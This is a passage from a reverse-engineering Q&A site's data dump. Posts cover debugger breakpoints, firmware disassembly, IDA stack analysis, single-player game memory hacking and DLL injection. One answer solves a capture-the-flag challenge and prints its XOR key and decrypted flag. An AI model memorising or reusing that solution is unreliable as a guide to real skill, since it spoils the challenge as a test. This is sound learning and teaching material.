CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17086" PostTypeId="2" ParentId="17085" CreationDate="2017-12-31T06:33:39.780" Score="2" Body="&lt;p&gt;From the above code &lt;code&gt;ecx&lt;/code&gt; stores the address of the end of the buffer (&lt;code&gt;loc_40107C&lt;/code&gt; + 0x79). &lt;code&gt;eax&lt;/code&gt; points to the beginning and then in is checked if &lt;code&gt;eax&lt;/code&gt; has reached the end of the buffer by comparing &lt;code&gt;eax&lt;/code&gt; with &lt;code&gt;ecx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the buffer at &lt;code&gt;0x40107C&lt;/code&gt; it probably shouldn't be empty as the values are modified in the loop. The code that you pasted should be treated as data so it should be viewed as &lt;code&gt;0xF1, 0x06, 0x81, 0x1e, 0xf0, 0xc4, 0x99, 0x1f...&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, there's something under &lt;code&gt;[ebp+buf]&lt;/code&gt; that when used on this buffer and adding &lt;code&gt;0x22&lt;/code&gt; gives some meaningful code.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18698" LastEditDate="2017-12-31T08:45:42.637" LastActivityDate="2017-12-31T08:45:42.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17087" PostTypeId="2" ParentId="17078" CreationDate="2017-12-31T08:14:03.540" Score="4" Body="&lt;p&gt;there are API's that are required to write to a file&lt;br&gt;&#xA;an example of documented apis used to open and write to a file are &#xA;file open  -&gt; kernel32.CreateFile &#xA;file write -&gt; kernel32!WriteFile&lt;/p&gt;&#xA;&#xA;&lt;p&gt;these apis require kernelmode transition and it happens at &#xA;ntdll.NtCreateFile and ntdll!NtWriteFile       &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can use ctrl+g in ollydbg to follow these apis and set a breakpoint there &lt;/p&gt;&#xA;&#xA;&lt;p&gt;assuming you have a file open an file write as in code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define _CRT_SECURE_NO_WARNINGS&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;void main(void) {&#xA;    char *foo = &quot;lets open a file and write in it something\n&quot;;&#xA;    FILE *fp =NULL;    &#xA;    if((fp = fopen(&quot;c:\\somewrite.text&quot; , &quot;wb&quot;)) != NULL) {&#xA;        fwrite(foo,strlen(foo),1,fp);&#xA;        printf(&quot;we wrote this %s\n&quot; , foo);&#xA;        fclose(fp);&#xA;    }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;open the compiled exe in ollydbg v2.0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ctrl+g -&amp;gt; ntdll.NtCreateFile -&amp;gt; follow -&amp;gt; f2-&amp;gt; f9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you should break here &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Stack&#xA;Address  Comments&#xA;ESP ==&amp;gt;  ; /RETURN to KERNELBASE.CreateFileW+1D1&#xA;ESP+4    ; |Arg1 = 26F614&#xA;ESP+8    ; |Arg2 = 40100080&#xA;ESP+C    ; |Arg3 = 26F5B8&#xA;ESP+10   ; |Arg4 = 26F5FC&#xA;ESP+14   ; |Arg5 = 0&#xA;ESP+18   ; |Arg6 = 80&#xA;ESP+1C   ; |Arg7 = 3&#xA;ESP+20   ; |Arg8 = 5&#xA;ESP+24   ; |Arg9 = 60&#xA;ESP+28   ; |Arg10 = 0&#xA;ESP+2C   ; \Arg11 = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff566424(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;ZwCreateFile&lt;/a&gt; is Documented as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NTSTATUS ZwCreateFile(&#xA;  _Out_    PHANDLE            FileHandle,&#xA;  _In_     ACCESS_MASK        DesiredAccess,&#xA;  _In_     POBJECT_ATTRIBUTES ObjectAttributes,&#xA;  _Out_    PIO_STATUS_BLOCK   IoStatusBlock,&#xA;  _In_opt_ PLARGE_INTEGER     AllocationSize,&#xA;  _In_     ULONG              FileAttributes,&#xA;  _In_     ULONG              ShareAccess,&#xA;  _In_     ULONG              CreateDisposition,&#xA;  _In_     ULONG              CreateOptions,&#xA;  _In_opt_ PVOID              EaBuffer,&#xA;  _In_     ULONG              EaLength&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the third argument is Pointer to &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff557749(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;_OBJECT_ATTRIBUTES&lt;/a&gt; which has a member ObjectName which is a pointer to &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff564879(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;_UNICODE_STRING&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _OBJECT_ATTRIBUTES {&#xA;  ULONG           Length;&#xA;  HANDLE          RootDirectory;&#xA;  PUNICODE_STRING ObjectName;&#xA;  ULONG           Attributes;&#xA;  PVOID           SecurityDescriptor;&#xA;  PVOID           SecurityQualityOfService;&#xA;}  OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;&#xA;&#xA;&#xA;typedef struct _UNICODE_STRING {&#xA;  USHORT Length;&#xA;  USHORT MaximumLength;&#xA;  PWSTR  Buffer;&#xA;} UNICODE_STRING, *PUNICODE_STRING;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so 0x26f5b8 is pointer to OBJECT_ATTRIBUTES &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Dump&#xA;Address   Hex dump                                         ASCII&#xA;0026F5B8  18 00 00 00|00 00 00 00|F4 F5 26 00|42 00 00 00|        ôõ&amp;amp; B&#xA;0026F5C8  00 00 00 00|E0 F5 26 00|                             àõ&amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the third member of this struct 0x0026f5f4 is a pointer to unicode string &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Dump&#xA;Address   Hex dump                                         ASCII&#xA;0026F5F4  2A 00 1A 02|88 99 40 00|                         * ˆ™@&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the wide char buffer is 0x00409988&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Dump&#xA;Address   Hex dump                                         ASCII&#xA;00409988  5C 00 3F 00|3F 00 5C 00|63 00 3A 00|5C 00 73 00| \ ? ? \ c : \ s&#xA;00409998  6F 00 6D 00|65 00 77 00|72 00 69 00|74 00 65 00| o m e w r i t e&#xA;004099A8  2E 00 74 00|65 00 78 00|74 00 00 00|             . t e x t&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can use follow in dump to follow and find the path &#xA;you can look at the call stack using ctrl+k &#xA;and locate function that may manipulate or create the paths prior to this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can also use this shortcut for this specific function when you have broken on this API in dump window &lt;code&gt;type ctrl+g and type in  [[[esp+c]+8]+4]&lt;/code&gt;&#xA;deference third argument (esp+c) then deference the third member and then deference the second member  &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-12-31T08:14:03.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17088" PostTypeId="2" ParentId="17085" CreationDate="2017-12-31T08:44:14.467" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Should not the location be empty or have some other values than assembly instructions...?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The answer is &quot;no&quot;. As the author stated in the write-up, this binary is self-modifying:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At this stage you may have correctly assumed the sample modifies these&#xA;  instructions in order to properly reach &lt;code&gt;0x401101&lt;/code&gt;.&lt;br&gt;&#xA;  ...&lt;br&gt;&#xA;  Another indication of self-modifying code is found in the sample’s PE headers.&#xA;  The &lt;code&gt;.text&lt;/code&gt; section, where the program’s entry point resides, is&#xA;  writeable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any try to disassemble the bytes from &lt;code&gt;0x40107C&lt;/code&gt; to &lt;code&gt;0x40107C+0x79&lt;/code&gt; will cause with wrong and non-sense assembly instructions. Thus, we should understand the function which manipulated this bytes. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Understanding the modifying function&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As you noticed already, this is the code which responsible for modifying the bytes in this range:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_401039:&#xA;mov     bl, [eax]&#xA;xor     bl, dl&#xA;add     bl, 22h&#xA;mov     [eax], bl&#xA;inc     eax&#xA;cmp     eax, ecx&#xA;jl      short loc_401039&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's use pseudo-code to understand how it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start_addr = 0x0x40107c&#xA;end_addr = 0x40107c + 0x79 = 0x4010f5&#xA;key = 0x??&#xA;&#xA;for addr in range(start_addr, end_addr+1):&#xA;    # setByte (address, new_value); getByte (address)&#xA;    setByte(addr, (getByte(addr)^key)+0x22)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, each byte in this range is XOR'd with some key and then &lt;code&gt;0x22&lt;/code&gt; is added to the result.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Demonstrating&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Spoiler Alert!&lt;/strong&gt;&lt;br&gt;&#xA;&lt;em&gt;The next part contains spoilers regarding the answer&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The write-up you attached contains a solution for the right key that you should use in the XOR operation to modify the bytes. I'll use this key in the following example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key is (&lt;em&gt;hover to see it&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;  &lt;p&gt; 0xa2&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Let's try to decrypt this bytes by ourselves. I'll use radare2 for this but you can use any other solution you'd like to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, let's make a copy of this challenge since we are going to edit the binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cp greek_to_me.exe modified_greek_to_me.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now open the binary with radare2 in write-mode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -w modified_greek_to_me.exe&#xA;[0x00401000]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's seek to &lt;code&gt;0x40107c&lt;/code&gt; and see how it looks like before we modify the bytes there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00401000]&amp;gt; s 0x40107c&#xA;[0x0040107c]&amp;gt; pd 10&#xA;            0x0040107c      33e1           xor esp, ecx&#xA;            0x0040107e      c49911068116   les ebx, [ecx + 0x16810611]&#xA;            0x00401084      f0             invalid&#xA;            0x00401085      329fc4911706   xor bl, byte [edi + 0x61791c4]&#xA;            0x0040108b      8114f0068115.  adc dword [eax + esi*8], 0xf1158106&#xA;            0x00401092      c4911a06811b   les edx, [ecx + 0x1b81061a]&#xA;        ╭─&amp;lt; 0x00401098      e206           loop 0x4010a0&#xA;        │   0x0040109a      8118f2068119   sbb dword [eax], 0x198106f2&#xA;        ╰─&amp;gt; 0x004010a0      f1             int1&#xA;            0x004010a1      06             push es&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I printed 10 op-codes in this address. As you can see, the instructions make no sense because in their current state they should not be disassembled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the &lt;code&gt;0x79&lt;/code&gt; bytes from this address look like in hex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x0040107c]&amp;gt; px 0x79&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x0040107c  33e1 c499 1106 8116 f032 9fc4 9117 0681  3........2......&#xA;0x0040108c  14f0 0681 15f1 c491 1a06 811b e206 8118  ................&#xA;0x0040109c  f206 8119 f106 811e f0c4 991f c491 1c06  ................&#xA;0x004010ac  811d e606 8162 ef06 8163 f206 8160 e3c4  .....b...c...`..&#xA;0x004010bc  9961 0681 66bc 0681 67e6 0681 64e8 0681  .a..f...g...d...&#xA;0x004010cc  659d 0681 6af2 c499 6b06 8168 a906 8169  e...j...k..h...i&#xA;0x004010dc  ef06 816e ee06 816f ae06 816c e306 816d  ...n...o.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we want to XOR &lt;code&gt;0x79&lt;/code&gt; bytes from &lt;code&gt;0x40107c&lt;/code&gt; and then add &lt;code&gt;0x22&lt;/code&gt; to each byte. We can easily do it using radare2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, we should define the block size that we want to manipulate, in our case it's 0x79:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x0040107c]&amp;gt; b?&#xA;|Usage: b[f] [arg]&#xA;Get/Set block size&#xA;| b        display current block size&#xA;| b 33     set block size to 33&#xA;...&#xA;...&#xA;[0x0040107c]&amp;gt; b 0x79&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Adding &lt;code&gt;?&lt;/code&gt; to radare2 command will show help about the command and its subcommands&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's XOR the bytes from &lt;code&gt;0x40107c&lt;/code&gt; to &lt;code&gt;0x40107c + block_size&lt;/code&gt; and then add &lt;code&gt;0x22&lt;/code&gt; to each one of them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x0040107c]&amp;gt; wo?&#xA;|Usage: wo[asmdxoArl24] [hexpairs] @ addr[!bsize]&#xA;...&#xA;| woa [val]                     +=  addition (f.ex: woa 0102)&#xA;...&#xA;| wox [val]                     ^=  xor  (f.ex: wox 0x90)&#xA;[0x0040107c]&amp;gt; wox 0xa2&#xA;[0x0040107c]&amp;gt; woa 0x22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now our bytes are modified. Let's see how they look like in hex-mode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x0040107c]&amp;gt; px 0x79&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x0040107c  b365 885d d5c6 45d6 74b2 5f88 55d7 c645  .e.]..E.t._.U..E&#xA;0x0040108c  d874 c645 d975 8855 dac6 45db 62c6 45dc  .t.E.u.U..E.b.E.&#xA;0x0040109c  72c6 45dd 75c6 45de 7488 5ddf 8855 e0c6  r.E.u.E.t.]..U..&#xA;0x004010ac  45e1 66c6 45e2 6fc6 45e3 72c6 45e4 6388  E.f.E.o.E.r.E.c.&#xA;0x004010bc  5de5 c645 e640 c645 e766 c645 e86c c645  ]..E.@.E.f.E.l.E&#xA;0x004010cc  e961 c645 ea72 885d ebc6 45ec 2dc6 45ed  .a.E.r.]..E.-.E.&#xA;0x004010dc  6fc6 45ee 6ec6 45ef 2ec6 45f0 63c6 45f1  o.E.n.E...E.c.E.&#xA;0x004010ec  6fc6 45f2 6dc6 45f3 00                   o.E.m.E..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And let's disassemble it and see if now the assembly makes any sense:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x0040107c]&amp;gt; pD 0x79&#xA;            0x0040107c      b365           mov bl, 0x65                ; 'e' ; 101&#xA;            0x0040107e      885dd5         mov byte [ebp - 0x2b], bl&#xA;            0x00401081      c645d674       mov byte [ebp - 0x2a], 0x74 ; 't' ; 116&#xA;            0x00401085      b25f           mov dl, 0x5f                ; '_' ; 95&#xA;            0x00401087      8855d7         mov byte [ebp - 0x29], dl&#xA;            0x0040108a      c645d874       mov byte [ebp - 0x28], 0x74 ; 't' ; 116&#xA;            0x0040108e      c645d975       mov byte [ebp - 0x27], 0x75 ; 'u' ; 117&#xA;            0x00401092      8855da         mov byte [ebp - 0x26], dl&#xA;            0x00401095      c645db62       mov byte [ebp - 0x25], 0x62 ; 'b' ; 98&#xA;            0x00401099      c645dc72       mov byte [ebp - 0x24], 0x72 ; 'r' ; 114&#xA;            0x0040109d      c645dd75       mov byte [ebp - 0x23], 0x75 ; 'u' ; 117&#xA;            0x004010a1      c645de74       mov byte [ebp - 0x22], 0x74 ; 't' ; 116&#xA;            0x004010a5      885ddf         mov byte [ebp - 0x21], bl&#xA;            0x004010a8      8855e0         mov byte [ebp - 0x20], dl&#xA;            0x004010ab      c645e166       mov byte [ebp - 0x1f], 0x66 ; 'f' ; 102&#xA;            0x004010af      c645e26f       mov byte [ebp - 0x1e], 0x6f ; 'o' ; 111&#xA;            0x004010b3      c645e372       mov byte [ebp - 0x1d], 0x72 ; 'r' ; 114&#xA;            0x004010b7      c645e463       mov byte [ebp - 0x1c], 0x63 ; 'c' ; 99&#xA;            0x004010bb      885de5         mov byte [ebp - 0x1b], bl&#xA;            0x004010be      c645e640       mov byte [ebp - 0x1a], 0x40 ; '@' ; 64&#xA;            0x004010c2      c645e766       mov byte [ebp - 0x19], 0x66 ; 'f' ; 102&#xA;            0x004010c6      c645e86c       mov byte [ebp - 0x18], 0x6c ; 'l' ; 108&#xA;            0x004010ca      c645e961       mov byte [ebp - 0x17], 0x61 ; 'a' ; 97&#xA;            0x004010ce      c645ea72       mov byte [ebp - 0x16], 0x72 ; 'r' ; 114&#xA;            0x004010d2      885deb         mov byte [ebp - 0x15], bl&#xA;            0x004010d5      c645ec2d       mov byte [ebp - 0x14], 0x2d ; '-' ; 45&#xA;            0x004010d9      c645ed6f       mov byte [ebp - 0x13], 0x6f ; 'o' ; 111&#xA;            0x004010dd      c645ee6e       mov byte [ebp - 0x12], 0x6e ; 'n' ; 110&#xA;            0x004010e1      c645ef2e       mov byte [ebp - 0x11], 0x2e ; '.' ; 46&#xA;            0x004010e5      c645f063       mov byte [ebp - 0x10], 0x63 ; 'c' ; 99&#xA;            0x004010e9      c645f16f       mov byte [ebp - 0xf], 0x6f  ; 'o' ; 111&#xA;            0x004010ed      c645f26d       mov byte [ebp - 0xe], 0x6d  ; 'm' ; 109&#xA;            0x004010f1      c645f300       mov byte [ebp - 0xd], 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Indeed, now we are able to see all these &lt;code&gt;mov&lt;/code&gt; instructions which build the flag :)&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2017-12-31T19:56:06.233" LastActivityDate="2017-12-31T19:56:06.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17089" PostTypeId="1" CreationDate="2017-12-31T14:33:27.490" Score="1" ViewCount="2732" Body="&lt;p&gt;I have a file in the Intel hex format, which was taken of from a pic16F1705 chip. I need to find a way to disassemble it into some form of human friendly programming language in order to make some modifications to it. I tried running it through a x86 and x64 dissembler, but in both cases I got an output, which looked like assembler code, but there were around 4000 bad lines in both cases.&#xA;My question is how should I disassemble this file, so I can read it in some human friendly programming language and modify it? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:  02 00                   add    al,BYTE PTR [eax]&#xA;2:  00 04 00                add    BYTE PTR [eax+eax*1],al&#xA;5:  00 fa                   add    dl,bh&#xA;7:  10 00                   adc    BYTE PTR [eax],al&#xA;9:  00 00                   add    BYTE PTR [eax],al&#xA;b:  80 31 0f                xor    BYTE PTR [ecx],0xf&#xA;e:  28 ff                   sub    bh,bh&#xA;10: 3f                      aas&#xA;11: ff                      (bad)&#xA;12: 3f                      aas&#xA;13: 7e 14                   jle    0x29&#xA;15: 80 31 20                xor    BYTE PTR [ecx],0x20&#xA;18: 00 7f 08                add    BYTE PTR [edi+0x8],bh&#xA;1b: a2 10 00 10 00          mov    ds:0x100010,al&#xA;20: f0 00 04 2e             lock add BYTE PTR [esi+ebp*1],al&#xA;24: 70 08                   jo     0x2e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are some example lines of the output I get after running the hex through a x86/x64 dissembler. &lt;/p&gt;&#xA;" OwnerUserId="22759" LastActivityDate="2017-12-31T14:33:27.490" Title="Reverse Intel hex to programming code" Tags="|assembly|disassemblers|hex|intel|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17090" PostTypeId="2" ParentId="11971" CreationDate="2017-12-31T14:50:03.070" Score="5" Body="&lt;p&gt;Regarding your first question, &lt;code&gt;NOP&lt;/code&gt;s are issued by the compiler when it's interested in aligning the code following it, usually because that code is target of a jump (such as in a loop) and it's beneficial for it to be aligned to a paragraph (16-byte boundary) or a cache line (32-byte boundary).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, it does so to increase performance.&lt;/p&gt;&#xA;" OwnerUserId="22760" LastActivityDate="2017-12-31T14:50:03.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17091" PostTypeId="2" ParentId="15252" CreationDate="2017-12-31T18:13:34.153" Score="0" Body="&lt;p&gt;Most easiest way is to search something like a ladder to climb on. Everytime you are going up or down, search for in- or decreased float value. This will give you the y-coordinate in the end. That offset taken, add 4 bytes to get z- and substract 4 bytes to get x-coordinate. Using ReClass you can even try to find the base object for your and other players.&lt;/p&gt;&#xA;" OwnerUserId="22730" LastActivityDate="2017-12-31T18:13:34.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17092" PostTypeId="1" AcceptedAnswerId="17093" CreationDate="2018-01-01T17:06:36.890" Score="0" ViewCount="86" Body="&lt;p&gt;I'm trying to find the function which is animating a bot ingame (singleplayer). I already figured out the animation state value with Cheat Engine. Freezing that value lets the bot repeat the animation over and over again. Changing that value to the &quot;jump&quot;-value, the bot is jumping. So I guess, I'm already at the right location. Looking at this value by &quot;find out what writes to this address&quot; gets me into a small function (see image below) where some comparisons are done and the animation state value is set. I'm not very good at reversing, that's why I tried understanding the commands by putting some comments to the disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image of the function with my comments:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/J8b5X.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J8b5X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are still some commands I'm not understanding right now. I want to call that function later from a DLL injection to play the animations by myself. So how do I know if I'm really in the right function? How do I get the right parameter values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm changing the jl to jnl command at line 0x232C3 the game stops playing any animation for the bot. Please help me, I don't know how to continue.&lt;/p&gt;&#xA;" OwnerUserId="22767" LastActivityDate="2018-01-01T20:56:32.700" Title="Help with animation function" Tags="|disassemblers|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17093" PostTypeId="2" ParentId="17092" CreationDate="2018-01-01T20:56:32.700" Score="2" Body="&lt;p&gt;How about you breakpoint the function start and take a look at the call stack.&#xA;This way you can easily find out the calling convention and used arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, this function looks like it's mainly looking up an array and then loading/writing some floating point values where the third parameter is an index.&#xA;The first conditional checks if that index is &gt;= 0, the second one let's me assume that [eax@2] is the length of the array;&#xA;expressed with the parameters only this would be: [[param1+0x1C]+0x0].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ebp-0C is some kind of structure, whose second member (assuming dword-sized members) is treated as the base of an array (see line above outlined one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If edx is the third parameter now, that means that it's an index into an array which holds all the animation states. Therefore the floating point stuff seems k inda uninteresting.&lt;/p&gt;&#xA;" OwnerUserId="22769" LastActivityDate="2018-01-01T20:56:32.700" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17094" PostTypeId="1" CreationDate="2018-01-01T22:09:15.470" Score="1" ViewCount="106" Body="&lt;p&gt;I'm working on decompiling the scripting engine from the game Rayman 2. It's going pretty well, but I'm getting stuck on a particular function which calls another function with arguments that aren't initialized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the relevant piece of the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __cdecl fn_p_stIntelligenceEvalTreeEngine(HIE_tdstSuperObject &#xA;*superObject, tdstNodeInterpret_ *nodeInterpreter, tdstGetSetParam_ &#xA;*getSetParam)&#xA;{&#xA;  ...&#xA;&#xA;  HIE_tdstSuperObject *superObject_1; // [sp+0h] [bp-20h]@0&#xA;  tdstNodeInterpret_ *nodeInterpreter_1; // [sp+4h] [bp-1Ch]@0&#xA;  tdstGetSetParam_ *getSetParam_1; // [sp+8h] [bp-18h]@0&#xA;&#xA;  ...&#xA;&#xA;  evaluatedNode = fn_p_stEvalTree(superObject_1, nodeInterpreter_1, getSetParam_1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I understand, at the time of calling the variables have already been put in place, namely at bp-20, bp-1C and bp-18h. Now what I'm failing to understand is how these variables are assigned. Should I be looking at the parent function which calls this function to see how these variables are created? Or is there some other explanation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the full function for those interested:&#xA;&lt;a href=&quot;https://pastebin.com/Udj4K8PW&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/Udj4K8PW&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22770" LastActivityDate="2018-01-01T22:09:15.470" Title="Decompiled code calls a function with unitialized variables" Tags="|decompilation|c|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17095" PostTypeId="1" AcceptedAnswerId="17100" CreationDate="2018-01-02T02:07:17.467" Score="0" ViewCount="283" Body="&lt;p&gt;I'm new to reverse engineering. Can you give an example of a crackme to do &quot;non-hardcoded&quot; key fishing and how to log the x86 registers to spot the generated key? &lt;/p&gt;&#xA;" OwnerUserId="22772" LastActivityDate="2018-01-02T15:38:50.437" Title="Example of key fishing with OllyDbg logging?" Tags="|ollydbg|x86|crackme|register|" AnswerCount="1" CommentCount="1" ClosedDate="2018-01-24T01:19:01.640" ContentLicense="CC BY-SA 3.0" />
  <row Id="17096" PostTypeId="1" AcceptedAnswerId="17097" CreationDate="2018-01-02T06:34:40.583" Score="2" ViewCount="474" Body="&lt;p&gt;So this may be a weird question. I'm working with a windows 32-bit executable in IDA that was originally programmed in C/C++ (Mostly likely with Visual Studio .NET 2002). For the virtual function calls, the ABI uses &lt;code&gt;__thiscall&lt;/code&gt;, so the callee cleans the stack, and IDA needs to know how many arguments the function takes to account for that in the caller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that virtual function calls are done in a way that makes it difficult for IDA to figure out the called function. An example of what the call might look like is this (in Intel syntax, which IDA uses):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [ecx]&#xA;call dword ptr [eax+4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;code&gt;ecx&lt;/code&gt; being set to &lt;code&gt;this&lt;/code&gt; by the caller. Since there's no easy way to know what &lt;code&gt;dword ptr [eax+4]&lt;/code&gt; is referring to, it guesses how many arguments it takes by the variables pushed before the call. The problem is that it often grabs too many push instructions, and keeps including saved registers. This causes it to assume that the function exits with an incorrect stack pointer, and messes up the stack variable references below the call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to tell IDA what the stack change in the call &lt;em&gt;should&lt;/em&gt; be to correct this problem, but I can't seem to find the option anywhere. Is this possible? I can't seem to figure this out.&lt;/p&gt;&#xA;" OwnerUserId="22775" LastActivityDate="2018-01-02T07:19:24.263" Title="IDA makes an incorrect guess about how a virtual function affects the stack. How can I correct/override it?" Tags="|ida|stack|virtual-functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
